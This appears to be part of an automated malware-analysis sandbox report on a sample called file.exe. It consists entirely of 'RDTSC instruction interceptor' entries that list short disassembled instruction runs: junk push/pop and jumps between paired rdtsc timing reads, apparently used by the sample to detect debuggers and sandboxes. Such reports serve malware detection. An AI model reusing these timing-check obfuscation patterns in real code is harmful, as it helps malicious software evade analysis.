Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFFE0 second address: ECFFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4352B390Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFFF5 second address: ECFFFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED02C0 second address: ED02CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3777 second address: ED377B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3277A second address: E3278D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jne 00007FD4352B3906h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3278D second address: E32793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7CAF second address: ED7CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B390Ah 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FD4352B3910h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7CD1 second address: ED7D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD4352B3D86h 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jns 00007FD4352B3D86h 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FD4352B3D8Eh 0x0000001b popad 0x0000001c popad 0x0000001d jl 00007FD4352B3D92h 0x00000023 jg 00007FD4352B3D8Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7E1F second address: ED7E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7FCA second address: ED7FEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D96h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FD4352B3D86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED813D second address: ED8141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8141 second address: ED8199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jl 00007FD4352B3D86h 0x0000000f pop ebx 0x00000010 push edx 0x00000011 jmp 00007FD4352B3D93h 0x00000016 pop edx 0x00000017 popad 0x00000018 pushad 0x00000019 jl 00007FD4352B3D96h 0x0000001f jmp 00007FD4352B3D8Eh 0x00000024 push edi 0x00000025 pop edi 0x00000026 pushad 0x00000027 jmp 00007FD4352B3D8Dh 0x0000002c pushad 0x0000002d popad 0x0000002e jno 00007FD4352B3D86h 0x00000034 popad 0x00000035 push eax 0x00000036 push edx 0x00000037 push ecx 0x00000038 pop ecx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8199 second address: ED81A9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD4352B3906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89893 second address: E8989C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8989C second address: E898A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED85A0 second address: ED85A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC5C5 second address: EDC5CD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC5CD second address: EDC5E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Eh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC73E second address: EDC775 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B390Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4352B3911h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD4352B390Eh 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC775 second address: EDC785 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4352B3D86h 0x00000008 jns 00007FD4352B3D86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC785 second address: EDC78B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC78B second address: EDC7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D95h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC7A4 second address: EDC7A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCBC6 second address: EDCBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCE83 second address: EDCE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCE89 second address: EDCE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCE93 second address: EDCE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDFAEB second address: EDFAFD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FD4352B3D8Eh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDFC6C second address: EDFC71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0094 second address: EE009A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE009A second address: EE00A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE00A1 second address: EE00A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE00A7 second address: EE00C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3910h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6903 second address: EE6909 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6909 second address: EE6913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6913 second address: EE6917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6A80 second address: EE6A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6A85 second address: EE6A8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD4352B3D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6EC4 second address: EE6EC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6EC8 second address: EE6EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4352B3D8Bh 0x0000000b jc 00007FD4352B3D8Eh 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6EE3 second address: EE6EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6EEC second address: EE6EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE748C second address: EE7492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7AB9 second address: EE7ABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7ABF second address: EE7AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8372 second address: EE8380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D8Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC55A second address: EEC575 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4352B3915h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC575 second address: EEC581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD4352B3D86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC581 second address: EEC585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC585 second address: EEC5B6 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD4352B3D86h 0x00000008 jmp 00007FD4352B3D97h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push esi 0x0000001a pushad 0x0000001b push esi 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB92F second address: EEB933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBC15 second address: EEBC19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBC19 second address: EEBC1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBC1D second address: EEBC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBC29 second address: EEBC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC03B second address: EEC04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007FD4352B3D8Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC04E second address: EEC084 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4352B3918h 0x00000008 jmp 00007FD4352B3917h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC2BB second address: EEC2DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D99h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3F2A second address: EF3F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB8F7 second address: EFB8FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB8FD second address: EFB903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBA6E second address: EFBA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBA74 second address: EFBA8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3915h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBA8D second address: EFBAB0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4352B3D9Ch 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBD40 second address: EFBD44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBFF7 second address: EFBFFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBFFB second address: EFC001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC001 second address: EFC010 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Ah 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC122 second address: EFC12B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC12B second address: EFC131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC2E6 second address: EFC2F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC2F2 second address: EFC2F7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD1B2 second address: EFD1C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jnl 00007FD4352B3906h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB00C second address: EFB04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007FD4352B3D95h 0x0000000a jmp 00007FD4352B3D95h 0x0000000f pop edi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push edx 0x0000001b pop edx 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f pop eax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB04D second address: EFB07D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4352B390Ch 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007FD4352B3919h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF89C second address: EFF8A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD4352B3D8Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04868 second address: F0486F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0424F second address: F04253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04253 second address: F04259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04259 second address: F0425F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0425F second address: F04263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04263 second address: F04267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0455E second address: F04562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04562 second address: F04581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FD4352B3DEDh 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FD4352B3D86h 0x00000014 jmp 00007FD4352B3D8Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04581 second address: F045A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3913h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f je 00007FD4352B3906h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12CD7 second address: F12CF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FD4352B3D86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007FD4352B3D8Bh 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F126D9 second address: F12714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD4352B3906h 0x0000000a jmp 00007FD4352B390Fh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD4352B3919h 0x00000017 jng 00007FD4352B3906h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12714 second address: F12720 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FD4352B3D86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12720 second address: F12728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12728 second address: F1272C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F15754 second address: F1575A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B246 second address: F1B24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EE25 second address: F1EE41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 jns 00007FD4352B3906h 0x0000000c jne 00007FD4352B3906h 0x00000012 pop edi 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24E4C second address: F24E87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4352B3D8Eh 0x00000010 je 00007FD4352B3D97h 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FD4352B3D8Fh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BA8E second address: F2BA99 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BA99 second address: F2BA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BA9E second address: F2BAA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BAA4 second address: F2BAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD4352B3D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BAAE second address: F2BAD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B390Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007FD4352B390Ch 0x00000019 je 00007FD4352B3906h 0x0000001f rdtsc
